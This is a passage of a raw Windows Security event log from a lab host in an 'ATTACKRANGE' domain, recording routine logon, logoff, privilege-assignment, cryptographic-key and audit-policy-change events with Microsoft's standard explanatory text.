SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245701 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF2E0A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245700 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245699 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245698 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF2D9C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245697 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF2D9C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245696 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF2D9C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245695 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245694 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245693 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF057C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5059 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245692 -Keywords=Audit Success -Message=Key migration operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: 332fe7e7-d709-e3d8-af9e-7236c48f4c55 - Key Type: User key. - -Additional Information: - Operation: Export of persistent cryptographic key. - Return Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245691 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: 332fe7e7-d709-e3d8-af9e-7236c48f4c55 - Key Type: User key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245690 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: 332fe7e7-d709-e3d8-af9e-7236c48f4c55 - Key Type: User key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\SystemKeys\c863ea31ca086d21d5ab6f408a21b763_51f82a1e-9fd6-46e2-8656-0a748eeada79 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245689 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: 332fe7e7-d709-e3d8-af9e-7236c48f4c55 - Key Type: User key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245688 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: 332fe7e7-d709-e3d8-af9e-7236c48f4c55 - Key Type: User key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\SystemKeys\c863ea31ca086d21d5ab6f408a21b763_51f82a1e-9fd6-46e2-8656-0a748eeada79 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245687 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245686 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245716 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF48F2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245750 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\program_files_windows_defender_3e33901162166ae9.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245749 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\program_files_ffd0cbfc813cc4f1.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245748 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\program_files_x86__676bbe2c7241b694.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245747 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_system_tools_fde5decba5bb578b.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245746 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_d672ba09d81e87ff.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245745 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_fde55420546edfe6.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245744 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_cae2264614449191.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245743 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_fe5c6d762edd2110.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245742 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245741 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_elambkup_0bc02aa0c28485f3.cdf-ms - Handle ID: 0x64 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245740 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_drivers_dc1b782427b5ee1b.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245739 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_a349059b05097caa.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245738 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_3f102d555ee05d33.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245737 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_21f9a9c4a2f8b514.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245736 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_21ffbdd2a2dd92e0.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245735 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245734 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms - Handle ID: 0x58 - -Process Information: - Process ID: 0x1070 - Process Name: C:\Windows\System32\poqexec.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245733 -Keywords=Audit Success 